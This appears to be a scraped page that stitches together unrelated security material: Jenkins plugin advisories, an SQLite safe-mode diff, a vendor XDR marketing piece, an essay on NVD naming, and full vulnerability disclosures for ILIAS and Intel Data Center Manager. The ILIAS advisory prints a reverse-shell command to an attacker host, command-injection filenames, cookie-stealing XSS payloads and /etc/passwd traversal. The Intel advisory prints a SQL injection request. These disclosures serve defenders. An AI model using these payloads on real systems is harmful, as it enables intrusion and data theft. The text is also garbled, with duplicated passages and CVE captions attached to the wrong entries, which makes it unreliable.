Jenkins Custom Build Properties Plugin 2.79.vc095ccc85094 and earlier does not escape property values and build display names on the Custom Build Properties and Build Summary pages, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to set or change these values.

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   Checkmarx Plugin
*   Custom Build Properties Plugin
*   Gitea Plugin
*   Google Login Plugin
*   Plot Plugin
*   Sonar Gerrit Plugin
*   Spring Config Plugin

**Descriptions****XXE vulnerability in Plot Plugin**

**SECURITY-2940 / CVE-2022-46682**  
**Severity (CVSS):** High  
**Affected plugin: plot**  
**Description:**

Plot Plugin 2.1.11 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers able to control XML input files for the 'Plot build data' build step to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Plot Plugin 2.1.12 disables external entity resolution for its XML parser.

**Open redirect vulnerability in Google Login Plugin**

**SECURITY-2967 / CVE-2022-46683**  
**Severity (CVSS):** Medium  
**Affected plugin: google-login**  
**Description:**

Google Login Plugin 1.4 through 1.6 (both inclusive) improperly determines that a redirect URL after login is legitimately pointing to Jenkins.

This allows attackers to perform phishing attacks by having users go to a Jenkins URL that will forward them to a different site after successful authentication.

Google Login Plugin 1.7 only redirects to relative (Jenkins) URLs.

**Stored XSS vulnerability in Checkmarx Plugin**

**SECURITY-2869 / CVE-2022-46684**  
**Severity (CVSS):** High  
**Affected plugin: checkmarx**  
**Description:**

Checkmarx Plugin processes Checkmarx service API responses and generates HTML reports from them for rendering on the Jenkins UI.

Checkmarx Plugin 2022.3.3 and earlier does not escape values returned from the Checkmarx service API before inserting them into HTML reports. This results in a stored cross-site scripting (XSS) vulnerability.

While Jenkins users without Overall/Administer permission are not allowed to configure the URL to the Checkmarx service, this could still be exploited via man-in-the-middle attacks.

Checkmarx Plugin 2022.4.3 escapes values returned from the Checkmarx service API before inserting them into HTML reports.

**Improper credentials masking in Gitea Plugin**

**SECURITY-2661 / CVE-2022-46685**  
**Severity (CVSS):** Medium  
**Affected plugin: gitea**  
**Description:**

Gitea Plugin support authentication with Gitea personal access tokens.

In Gitea Plugin 1.4.4 and earlier, the implementation of these tokens did not support credentials masking. This can expose Gitea personal access tokens in the build log, e.g., when printed as part of repository URLs.

Gitea Plugin 1.4.5 adds support for masking of Gitea personal access tokens.

Administrators unable to update are advised to use SSH checkout instead.

**Stored XSS vulnerability in Custom Build Properties Plugin**

**SECURITY-2810 / CVE-2022-46686**  
**Severity (CVSS):** High  
**Affected plugin: custom-build-properties**  
**Description:**

Custom Build Properties Plugin 2.79.vc095ccc85094 and earlier does not escape property values and build display names on the Custom Build Properties and Build Summary pages.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to set or change these values.

Custom Build Properties Plugin 2.82.v16d5b\_d3590c7 escapes property values and build display names on the Custom Build Properties and Build Summary pages.

**Stored XSS vulnerability in Spring Config Plugin**

**SECURITY-2814 / CVE-2022-46687**  
**Severity (CVSS):** High  
**Affected plugin: spring-config**  
**Description:**

Spring Config Plugin 2.0.0 and earlier does not escape build display names shown on the Spring Config view.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to change build display names.

Spring Config Plugin 2.0.1 escapes build display names shown on the Spring Config view.

**CSRF vulnerability in Sonar Gerrit Plugin**

**SECURITY-1002 / CVE-2022-46688**  
**Severity (CVSS):** Medium  
**Affected plugin: sonar-gerrit**  
**Description:**

Sonar Gerrit Plugin 377.v8f3808963dc5 and earlier does not require POST requests for an HTTP endpoint, resulting in a cross-site request forgery (CSRF) vulnerability.

This allows attackers to have Jenkins connect to Gerrit servers (previously configured by Jenkins administrators) using attacker-specified credentials IDs obtained through another method, potentially capturing credentials stored in Jenkins.

**Severity**

*   SECURITY-1002: Medium
*   SECURITY-2661: Medium
*   SECURITY-2810: High
*   SECURITY-2814: High
*   SECURITY-2869: High
*   SECURITY-2940: High
*   SECURITY-2967: Medium

**Affected Versions**

*   **Checkmarx Plugin** up to and including 2022.3.3
*   **Custom Build Properties Plugin** up to and including 2.79.vc095ccc85094
*   **Gitea Plugin** up to and including 1.4.4
*   **Google Login Plugin** up to and including 1.6
*   **Plot Plugin** up to and including 2.1.11
*   **Sonar Gerrit Plugin** up to and including 377.v8f3808963dc5
*   **Spring Config Plugin** up to and including 2.0.0

**Fix**

*   **Checkmarx Plugin** should be updated to version 2022.4.3
*   **Custom Build Properties Plugin** should be updated to version 2.82.v16d5b\_d3590c7
*   **Gitea Plugin** should be updated to version 1.4.5
*   **Google Login Plugin** should be updated to version 1.7
*   **Plot Plugin** should be updated to version 2.1.12
*   **Spring Config Plugin** should be updated to version 2.0.1

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

As of publication of this advisory, no fixes are available for the following plugins:

*   Sonar Gerrit Plugin

Learn why we announce these issues.

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **Asi Greenholts of Cider Security** for SECURITY-2661
*   **CC Bomber, Kitri BoB** for SECURITY-2940
*   **Kevin Guerroudj, CloudBees, Inc. and Valdes Che Zogou, CloudBees, Inc.** for SECURITY-2810, SECURITY-2869
*   **Oleg Nenashev, CloudBees, Inc.** for SECURITY-1002
*   **Valdes Che Zogou, CloudBees, Inc. and Yaroslav Afenkin, CloudBees, Inc.** for SECURITY-2814
*   **Wadeck Follonier, CloudBees, Inc.** for SECURITY-2967

CVE-2022-46686: Jenkins Security Advisory 2022-12-07

A cross-site request forgery (CSRF) vulnerability in Jenkins Sonar Gerrit Plugin 377.v8f3808963dc5 and earlier allows attackers to have Jenkins connect to Gerrit servers (previously configured by Jenkins administrators) using attacker-specified credentials IDs obtained through another method, potentially capturing credentials stored in Jenkins.

CVE-2022-46688: Jenkins Security Advisory 2022-12-07

Jenkins Checkmarx Plugin 2022.3.3 and earlier does not escape values returned from the Checkmarx service API before inserting them into HTML reports, resulting in a stored cross-site scripting (XSS) vulnerability.

CVE-2022-46684: Jenkins Security Advisory 2022-12-07

In Jenkins Gitea Plugin 1.4.4 and earlier, the implementation of Gitea personal access tokens did not support credentials masking, potentially exposing them through the build log.

CVE-2022-46685: Jenkins Security Advisory 2022-12-07

SQLite through 3.40.0, when relying on --safe for execution of an untrusted CLI script, does not properly implement the azProhibitedFunctions protection mechanism, and instead allows UDF functions such as WRITEFILE.

1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905

    "fts3\_tokenizer",
    "load\_extension",
    "readfile",
    "writefile",
    "zipfile",
    "zipfile\_cds",
  };
  UNUSED\_PARAMETER(zA2);  UNUSED\_PARAMETER(zA3);
  UNUSED\_PARAMETER(zA4);
  switch( op ){
    case SQLITE\_ATTACH: {
#ifndef SQLITE\_SHELL\_FIDDLE
      /\* In WASM builds the filesystem is a virtual sandbox, so
      \*\* there's no harm in using ATTACH. \*/
      failIfSafeMode(p, "cannot run ATTACH in safe mode");
#endif
      break;
    }
    case SQLITE\_FUNCTION: {
      int i;
      for(i=0; i<ArraySize(azProhibitedFunctions); i++){
        if( sqlite3\_stricmp(zA1, azProhibitedFunctions\[i\])==0 ){          failIfSafeMode(p, "cannot use the %s() function in safe mode",
                         azProhibitedFunctions\[i\]);
        }
      }
      break;
    }
  }

|














|

1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905

    "fts3\_tokenizer",
    "load\_extension",
    "readfile",
    "writefile",
    "zipfile",
    "zipfile\_cds",
  };
  UNUSED\_PARAMETER(zA1);  UNUSED\_PARAMETER(zA3);
  UNUSED\_PARAMETER(zA4);
  switch( op ){
    case SQLITE\_ATTACH: {
#ifndef SQLITE\_SHELL\_FIDDLE
      /\* In WASM builds the filesystem is a virtual sandbox, so
      \*\* there's no harm in using ATTACH. \*/
      failIfSafeMode(p, "cannot run ATTACH in safe mode");
#endif
      break;
    }
    case SQLITE\_FUNCTION: {
      int i;
      for(i=0; i<ArraySize(azProhibitedFunctions); i++){
        if( sqlite3\_stricmp(zA2, azProhibitedFunctions\[i\])==0 ){          failIfSafeMode(p, "cannot use the %s() function in safe mode",
                         azProhibitedFunctions\[i\]);
        }
      }
      break;
    }
  }

CVE-2022-46908: SQLite: Check-in [cefc0324]

The rxvt-unicode package is vulnerable to a remote code execution, in the Perl background extension, when an attacker can control the data written to the user's terminal and certain options are set.

'2151597?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2022-4170: Invalid Bug ID

Businesses know they need cybersecurity, but it seems like a new acronym and system is popping up every day. Professionals that aren’t actively researching these technologies can struggle to keep up. As the cybersecurity landscape becomes more complicated, organizations are desperate to simplify it. Frustrated with the inefficiencies that come with using multiple vendors for cybersecurity, often

Businesses know they need cybersecurity, but it seems like a new acronym and system is popping up every day. Professionals that aren't actively researching these technologies can struggle to keep up. As the cybersecurity landscape becomes more complicated, organizations are desperate to simplify it. Frustrated with the inefficiencies that come with using multiple vendors for cybersecurity, often stemming from a lack of integration of a heterogenous security stack, approximately 75% of organizations are looking to consolidate their cybersecurity technology in 2022 — a 29% increase from 2020.

Surprisingly, reducing spend isn't the number one goal for these organizations.

Of the businesses that are consolidating, 65% are doing so to improve their risk posture. Having more cybersecurity tools means a larger threat surface. And when cybersecurity products don't integrate easily, businesses end up with gaps in their protection.

**Why Companies Need To Consolidate Cybersecurity Technology**

Not only does consolidating cybersecurity tools provide a better ROI over the long run, but it also offers additional benefits.

**Improves Analytics**

XDR improves analytics because it offers visibility from a single pane of glass, increasing the amount of context that analysts get as they evaluate the network's security posture. Because they're getting more context, the security team can make better data-driven decisions and remediate issues faster. The improved analytics also simplifies maintenance and integrations, limiting gaps in an organization's security infrastructure that could allow threats to penetrate the network.

**Reduces Resource Waste and Fills Gaps**

Organizations that choose XDR see a better ROI, especially during times of high inflation or recessions because they reduce the number of wasted resources. For one, businesses are reducing the number of software subscriptions they have overall, both cutting costs and making their technology easier to manage. Additionally, they'll see less overlap between the tools they do have, meaning they'll be wasting less money.

XDR also improves the efficiency of an organization's security team to lower operating costs. With fewer false positives, analysts will have to spend less time chasing down alerts that aren't indicative of threats, reducing their overall workload and the chance of alert fatigue. Additionally, Cynet 360 AutoXDR includes a managed detection and response (MDR) service for no extra charge, helping businesses fill in security gaps without hiring extra analysts — something that is both expensive and extremely difficult at a time when there are around 770,000 unfilled cybersecurity job openings in the United States alone.

**Enables Automation**

XDR makes automation easier because several applications are combined into one, further reducing the security team's manual workload. They'll have to do less manual analysis and tracking, and automated platform updates mean they won't have to manually patch the system. Additionally, XDR offers automated remediation, initiating sandboxes or rollbacks before human analysts have to get involved. This automation also means that XDR can react to threats faster than humans can, lowering the likelihood of a successful breach.

> According to a recent survey by Gartner, 57% of organizations resolved security threats faster after implementing an XDR strategy.

**Obstacles to Cybersecurity Consolidation**

Despite the benefits, many businesses are wary of consolidating their cybersecurity technology due to the obstacles they face.

**Paralysis by Analysis**

There are so many choices for cybersecurity software in the market that it can be difficult to decide which tools are best for the business. And even within the smaller XDR market, not every vendor approach XDR the same way. Native XDR platforms, like Cynet 360 AutoXDR, consolidate several tools into one platform. Open XDR, on the other hand, simply provides a connection point for other security systems to bring data into a centralized console.

Some organizations may also be concerned about putting all their cybersecurity in the hands of one vendor. What if that vendor gets breached themselves or goes out of business? While this is an understandable worry, businesses can assuage this fear by choosing a vendor with a solid history in the market and by examining reviews from other users to see how the vendor handles problems.

Businesses also need to determine if the benefits of XDR outweigh the costs of changing platforms and processes. While XDR can provide a better ROI over the long run, it may be difficult for an organization to see past the initial expense and really buy into the operational benefits that XDR can offer. The organization must examine its current processes and tools to get a better understanding of how XDR can improve current processes and keep the business safe from threats.

**Small or Understaffed Cybersecurity Teams**

Many cybersecurity teams are currently quite small or understaffed. Because of this, they may not even be aware that consolidation is possible through XDR. And since they're buried in their day-to-day work, they may feel that they don't have time to implement something new while keeping up with their existing workload. Additionally, learning a new system could contribute to analyst burnout, so organizations concerned with retention may be hesitant to implement something new, even if it could reduce burnout over time.

**Fear of Automation**

Some organizations also have a fear of automation. They don't want a platform to act without knowing exactly what it's going to do. Luckily, Cynet 360 AutoXDR allows businesses to configure the system so that it runs the automated process without actually executing any commands. This feature allows the security team to see what the system is planning to do and make sure it's what they want before they allow it to happen.

Businesses might also worry that it will replace the need for human analysts or employees. However, while automation can handle parts of these analysts' manual workload, they still need human oversight and can't handle all of the tasks that human employees can.

Finally, a company may be hesitant to incorporate automation into its cybersecurity processes because of the idea that it might be too expensive to add. However, many XDR platforms, including Cynet 360 AutoXDR, provide automation as a standard offering, meaning it won't cost the business any extra.

**How Can Businesses Consolidate Their Cybersecurity Stack?**

There's no one-size-fits-all approach to consolidation, so it can be tough for businesses to know how to handle it.

**Start with an Evaluation**

To start, businesses should look at everything they currently have in their tech stack. What are they missing in functionality? What features would they like to have? They should then determine whether their organization would benefit most from an all-in-one platform or multiple best-of-breed tools to determine whether a native or open XDR makes the most sense for them. Then, they'll have an easier time evaluating vendors and the best options for the next steps.

After doing your research, businesses have two options:

**Jump in Head First**

The first option is to partner with an XDR provider to immediately begin consolidating your cybersecurity technology. The benefits of this method are that the company will get a better ROI and see a faster time to value, and it'll be easier to prevent successful breaches. However, it could lead to security gaps in the short term if the business doesn't properly evaluate its current level of functionality. Businesses that have the budget as one of their main concerns will likely want to proceed with this option.

**Double-Up and Test**

Alternatively, organizations can purchase an XDR solution and run it alongside their current platform for a month or two in order to identify any gaps and determine if there are any tools they need to keep. This is great for allowing security teams to get comfortable with XDR capabilities before dropping platforms and ensures that they won't have any security gaps in the short term. However, it can be more expensive initially, but once the business crosses the learning curve, it'll see an incredible ROI. If budget isn't the primary concern for a business, they may want to proceed with this method.

**Cynet 360 AutoXDR Consolidates Your Security Tech and Backs it Up with MDR**

Cynet 360 AutoXDR is a great choice for businesses looking for native XDR to consolidate their current technology stack. It helps you make better decisions because your security team is getting all the information in one place. Additionally, it gives your business the broadest proven set of security tools all in one platform.

Cynet 360 AutoXDR is perfect for teams with limited or no security personnel thanks to automation and managed offerings. It fills skills gaps with an expert team of security analysts and researchers through the MDR service. Your business will also save more money, time, and energy than it would if you kept all of its security platforms separate.

To learn how Cynet 360 AutoXDR can improve your cybersecurity posture through consolidation, book a personal demo today!

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Using XDR to Consolidate and Optimize Cybersecurity Technology

A reliance on CPE names currently makes accurate searching for high-risk security vulnerabilities difficult.

In many cases, once a high-risk security vulnerability has been identified in a product, a bigger challenge emerges: how to identify the affected component or product by its assigned name in the National Vulnerability Database (NVD). That's because software products are identified in the NVD with a common platform enumeration (CPE) name, which are assigned by the National Institute of Standards and Technology (NIST), part of the US Department of Commerce.

The NVD uses a CPE to identify hardware and software components based on vendor, product, and version string. When software users want to determine, via the NVD, whether a component of a product they are using has any associated vulnerabilities, they must know the precise assigned CPE name of the component. However, it is often impossible to find a CPE for a particular component, whether they are open source or proprietary.

In most cases, this problem makes it impossible to reliably automate many of the processes required for software security, such as producing a software bill of materials (SBOM).

**Why Finding Vulnerabilities in the NVD is Hard**

To understand the scope of the problem, consider the following six conditions that make it extremely difficult, if not impossible, to search for component and product vulnerabilities in the NVD, due to its reliance on CPEs as the sole identifier.

1\. Vulnerabilities are identified in the NVD with a common vulnerabilities and exposures (CVE) number, e.g., "CVE-2022-12345," and the Common Vulnerability Scoring System (CVSS) is used to assign a threat level to each CVE. A CPE is typically not created for a software product until a CVE is assigned to it. However, many software suppliers have never reported a vulnerability (which would generate a CVE), so a CPE has never been created for the product in the NVD. 

This is not necessarily because the products have never had vulnerabilities, but because the developer may not have reported any existing vulnerabilities to the NVD.

As a result, an NVD search will yield a "No matching records" response in both of the following scenarios: 

(i) a vulnerability does not exist in a given product

(ii) a vulnerability exists but has never been reported by the developer

2\. Since there is no error checking performed when a new CPE name is entered in the NVD, it is possible to create a product CPE that does not follow a consistent naming convention. As a result, when a user searches for the product using the properly specified CPE, they will receive a "There are 0 matching records" error message. This is the same message they would receive if the original (off-specification) CPE name were used but there were no CVEs reported against it.

When a user receives this message, it could mean there is a valid CPE for the product they're searching on, but a CVE has never been reported for that product, but it could also mean the CPE they entered does not match the CPE in the NVD, and that there are, in fact, CVEs attached to the (off-specification) CPE name submitted to the NVD.

The "There are 0 matching records" error message could also result if a user misspells the CPE name in the search bar. In this instance, the user would have no way of knowing that the message was generated by a typo, and instead could assume the product has no reported vulnerabilities.

3\. Over time, a product or supplier name may change due to a merger or acquisition, and the CPE name for the product may change as well. In this case, if a user searches for the original CPE, not the new CPE, they would not learn about new vulnerabilities. As before, they would receive the "There are 0 matching records" message.

4\. This also applies for different variations of supplier or product names, such as "Microsoft" and "Microsoft Inc.," or "Microsoft Word" and "Microsoft Office Word," etc. Without the exact correct supplier or product name, an NVD search will yield incorrect results.

5\. The same product can have multiple CPE names in the NVD if they are entered by different people who each use a different iteration. This can make it virtually impossible to determine which name is correct. To make matters worse, if CVEs have been entered for each of the CPE variants, this will result in their being no "correct" name. One example is OpenSSL (e.g., "OpenSSL" versus "OpenSSL Framework"). Since no single CPE name contains all the OpenSSL vulnerabilities, users must search separately for each variation of the product name.

6\. In many cases, a vulnerability will only affect one module of a library. However, since CPE names are assigned on the basis of products, not the individual modules they contain, users need to read the full CVE report to determine which module is vulnerable. If they don't, this can result in unnecessary patching or mitigations, like when a vulnerable module is not installed in a software product being used but other modules of the library are.

Fortunately, a cross-industry group called the SBOM Forum that includes members of OWASP, The Linux Foundation, Oracle, and others are working on the problem and have developed a proposal to improve the accuracy of the NVD with a focus on modern, automated use cases.

The group's recommendations, including the adoption of a package URL (purl) for software and GS1 Standards for hardware, are designed to create a standardized way to reliably query the NVD and receive accurate information on vulnerabilities.

How Naming Can Change the Game in Software Supply Chain Security

ILIAS eLearning versions 7.15 and below suffer from authenticated command injection, persistent cross site scripting, local file inclusion, and open redirection vulnerabilities.

SEC Consult Vulnerability Lab Security Advisory < 20221206-0 >  
=======================================================================  
               title: Multiple critical vulnerabilities  
             product: ILIAS eLearning platform  
  vulnerable version: <= 7.15  
       fixed version: 7.16  
          CVE number: CVE-2022-45915, CVE-2022-45916, CVE-2022-45917,  
                      CVE-2022-45918  
              impact: critical  
            homepage: https://www.ilias.de  
               found: 2022-09-30  
                  by: Anna Hartig (Office Bochum)  
                      Constantin Schwarz (Office Bochum)  
                      Niklas Schilling (Office Munich)  
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company  
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:  
-------------------  
"Around since 1998, ILIAS is a powerful learning management system that fulfills  
all your requirements. Using its integrated tools, small and large businesses,  
universities, schools and public authorities are able to create tailored,  
individual learning scenarios."

Source: https://www.ilias.de/en/

Business recommendation:  
------------------------  
The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product  
conducted by security professionals to identify and resolve potential further  
security issues.

Vulnerability overview/description:  
-----------------------------------  
1) Authenticated Direct OS Command Injection - CVE-2022-45915  
ILIAS utilizes several third-party programs to perform tasks like creating PDF  
files or scanning uploaded files for known viruses. These are called using the  
PHP exec() function. In several instances, the arguments passed to the exec()  
function contain user input that is not properly sanitized.  
By performing malicious configuration steps or uploading dangerous files, an  
attacker can execute arbitrary system commands with the rights of the web server  
user (www-data).  
The privilege required for the different instances of command injection range  
from low rights to admin rights.

2) Stored Cross-Site Scripting - CVE-2022-45916  
Multiple stored cross-site scripting vulnerabilities were identified in ILIAS  
course items. These were either achieved by bypassing existing XSS filters or  
simply by exploiting missing input validation altogether. This results in the  
execution of attacker-controlled JavaScript code by the user's browser.  
The attacker requires the right to create course items, e.g., as a tutor of a  
course.

3) Local File Inclusion - CVE-2022-45918  
The included SCORM editor features a debugger that gives authors insights into  
the current SCORM player session, as well as previous sessions. When accessing  
the logs of previous sessions, the debugger fails to validate the requested  
file path, allowing for arbitrary filesystem access.

4) Open Redirect - CVE-2022-45917  
The function shib_logout.php redirects the user to a URL specified in the  
"return" parameter. Since this parameter is not validated, an attacker can use  
it to redirect a victim to an arbitrary website. This is a powerful tool in  
phishing campaigns, as it allows hiding the malicious webpage behind a link that  
looks like it would take you to the real ILIAS webpage.

Proof of concept:  
-----------------  
1) Authenticated Direct OS Command Injection - CVE-2022-45915  
Multiple instances of command injection vulnerabilities were identified:

a) ZIP archive upload  
Normal users with open assessments can submit their solution by uploading a ZIP  
archive. These archives are extracted on the server and scanned for viruses  
recursively. The directory and file names can be used by an attacker to inject  
system commands, e.g., by including a directory with the name  
$(touch /tmp/pwned) to the ZIP archive. Exploiting this vulnerability, an attacker  
is able to get a reverse shell on the ILIAS webserver with the rights of the  
web server user (www-data).

b) Media object creation  
ILIAS can be configured so that users can create media objects based on files  
inside an "Upload Directory". Before these objects are created, the files are  
scanned for viruses. The file names can be used by an attacker to inject system  
commands. By placing a file with a name like $(touch /tmp/pwned) inside the  
upload directory and then creating a media object based on it, an attacker is  
able to execute arbitrary system commands with the rights of www-data on the  
server.

c) PDF document creation  
ILIAS provides users the functionality to export content as PDF files. A user  
with admin rights can configure the path to the preferred PDF renderer. An  
attacker can use this parameter to inject system commands. Due to missing  
input validation it is possible to inject multiple commands. The path to  
wkhtmltopdf has to be included in the payload, as ILIAS checks for it. By  
changing the path to:

/usr/local/bin/wkhtmltopdf; bash -c "bash -i >& /dev/tcp/<IP_Address_Attacker>/13373 0>&1";

an attacker can open a reverse shell with the rights of www-data that connects  
to the attacker's machine on port 13373. The reverse shell is initiated when  
the export function is triggered.  
No PDF renderer has to be installed for this vulnerability to be exploitable.

2) Stored Cross-Site Scripting - CVE-2022-45916  
Multiple instances of stored cross-site scripting were identified:

a) Several Stored XSS Attacks in Tests  
An attacker must be able to create new tests in which the JavaScript code will  
be embedded. If a victim then later accesses one of those tests, the XSS payload will  
be triggered. The "Question" input field of a test has a filter in place, which  
correctly removes HTML tags such as <script> or  
<img src="x" onerror="alert(document.cookie)">. By making use of half open HTML  
tags, this filter can be successfully bypassed. E.g.

<img src="x" onerror="alert(document.cookie)"

This half open HTML tag can also be used in the "Introductory Message" of a test  
to trigger an XSS. It's important to end the JavaScript code with a quotation  
mark or space, to properly separate it from successive HTML tags, after it's  
embedded into a test.

Finally, the "Question" input field of the question type "Long Menu" was  
identified to use no filtering at all, resulting in the unrestricted use of  
arbitrary HTML tags such as <script>.

b) Stored XSS in title of course items  
An attacker with rights to create an arbitrary course item can conduct a stored  
XSS attack by setting the title of the element to:

" onclick="alert(document.cookie)"

When a user clicks on the button to the right of the title, the XSS payload is  
triggered.

c) Stored XSS in HTML sites  
An attacker with rights to edit an HTML Learning Module can conduct a stored  
XSS attack, as it is allowed to insert JavaScript Code to the HTML page. Even  
if this behavior is intended, it is insecure and considered bad practice.

3) Local File Inclusion - CVE-2022-45918  
As a prerequisite, the SCORM debugger must be enabled for the whole ILIAS  
platform. An attacker with access to a SCORM player can open the SCORM  
debugger and request the logs of a previous session. By changing the value of  
the "logFile" query parameter of the request, they can read arbitrary  
files of the server's filesystem. For example, to read the passwd file  
on Linux systems, an attacker can change the value of the parameter logfile  
to "../../../../../../../../../etc/passwd".

4) Open Redirect - CVE-2022-45917  
The shib_logout function is vulnerable to an open redirect.  
A URL that successfully uses this vulnerability to redirect to  
"https://www.sec-consult.com" is:

http://ILIAS-URL/shib_logout.php?action=logout&return=https://www.sec-consult.com

Vulnerable / tested versions:  
-----------------------------  
The vulnerabilities were identified in ILIAS version 7.14.  
However, a brief analysis of the source code suggests, that several  
vulnerabilities are present in versions dating back to at least 3.8.4.  
Hence it is assumed that most current versions of the product are affected.

The vulnerabilities were partly fixed in version 7.15, a complete patch is  
available with version 7.16.

Vendor contact timeline:  
------------------------  
2022-10-07: Contacting vendor through security@lists.ilias.de  
2022-10-19: Sending initial email again, as the vendor did not yet respond  
2022-10-25: Extending email recipients to info@ilias.de, datenschutz@ilias.de and  
             identified personal email addresses from the vendor's website.  
2022-10-25: Sending the advisory to the provided contact  
2022-10-31: Vendor requests more information  
2022-10-31: Sending detailed PoC  
2022-11-10: Asking for current status  
2022-11-22: Vendor confirms that patches will be available by 2022-11-26  
2022-11-22: Asking about the version numbers of mentioned patches and CVE IDs  
2022-11-23: Vendor provides information about patched versions; CVE IDs will be  
             requested by SEC Consult  
2022-11-24: Vendor releases patched version 7.16  
2022-12-06: Public release of security advisory

Solution:  
---------  
Update ILIAS to version 7.16 or newer from the vendor's website:  
https://docu.ilias.de/goto.php?target=st_229

Workaround:  
-----------  
None

Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company  
Europe | Asia | North America

About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Atos company. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: http://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult

EOF  A. Hartig, C. Schwarz, N. Schilling / @2022

ILIAS eLearning 7.15 Command Injection / XSS / LFI / Open Redirect

Intel Data Center Manager's endpoint at "/DcmConsole/DataAccessServlet?action=getRoomRackData" is vulnerable to an authenticated, blind SQL injection attack when user-supplied input to the HTTP POST parameter "dataName" is processed by the web application. Versions 4.1 and below are affected.

    RCE Security Advisoryhttps://www.rcesecurity.com1. ADVISORY INFORMATION=======================Product:        Intel Data Center ManagerVendor URL:     https://www.intel.com/content/www/us/en/developer/tools/data-center-manager-console/overview.htmlType:           SQL Injection [CWE-89]Date found:     2022-01-21Date published: 2022-12-01CVSSv3 Score:   9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)CVE:            CVE-2022-212252. CREDITS==========This vulnerability was discovered and researched by Julien Ahrens fromRCE Security.3. VERSIONS AFFECTED====================Intel Data Center Manager 4.1 and below4. INTRODUCTION===============Energy costs are the fastest rising expense for today’s data centers. Intel® DataCenter Manager (Intel® DCM) provides real-time power and thermal consumption data,giving you the clarity you need to lower power usage, increase rack density, andprolong operation during outages.(from the vendor's homepage)5. VULNERABILITY DETAILS========================Intel DCM's endpoint at "/DcmConsole/DataAccessServlet?action=getRoomRackData" isvulnerable to an authenticated, blind SQL Injection when user-supplied input tothe HTTP POST parameter "dataName" is processed by the web application.Since the application does not properly validate and sanitize this parameter, anattacker can inject arbitrary SQL commands against the PostgreSQL backenddatabase server of the web application.Successful exploits can allow an authenticated attacker (the lowest possibleauthorization level "Guest" is sufficient) to read and modify database contentsand execute any system commands on the underlying operating system. This way,the attacker can compromise the system's entire confidentiality, integrity, andavailability.6. PROOF OF CONCEPT===================POST /DcmConsole/DataAccessServlet?action=getRoomRackData HTTP/1.1Host: [ip-address]Cookie: JSESSIONID=[session-id]Content-Length: 153Accept: application/json, text/plain, */*Content-Type: text/plainUser-Agent: Mozilla/5.0Accept-Encoding: gzip, deflateAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Connection: close{"antiCSRFId":"[your-anti-csrf-id]","requestObj":{"snapshotId":1,"roomId":1,"dataName":"test');SELECT PG_SLEEP(5)--"}}(see the referenced blog post for more details)7. SOLUTION===========Update at least to version 5.0.0.46307.8. REPORT TIMELINE==================2022-01-21: Discovery of the vulnerability2022-01-21: Reported to vendor via their bug bounty program2022-01-21: Vendor response: Sent to "appropriate reviewers"2022-02-08: Vendor acknowledges the vulnerability with a severity of "medium" without sharing their CVSS calculation2022-02-15: Endless back-and-forth discussions about the rating. Vendor proposes a rating of 6.82022-02-16: I don't accept the rating because the vendor downplayed it2022-02-25: After discussions, vendor rates issue as CVSS 9.0 (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)2022-02-25: Apparently AV:A is still wrong, but I don't have more energy to fight them. However this advisory contains the proper CVSS rating.2022-xx-xx: Vendor releases version 5.0.0.46307 which includes the fix2022-08-09: Vendor releases advisory INTEL-SA-006622022-12-01: Public disclosure9. REFERENCES==============https://www.rcesecurity.com/2022/12/from-zero-to-hero-part-2-intel-dcm-sql-injection-to-rce-cve-2022-21225/https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00662.htmlhttps://github.com/MrTuxracer/advisories

Tag

#perl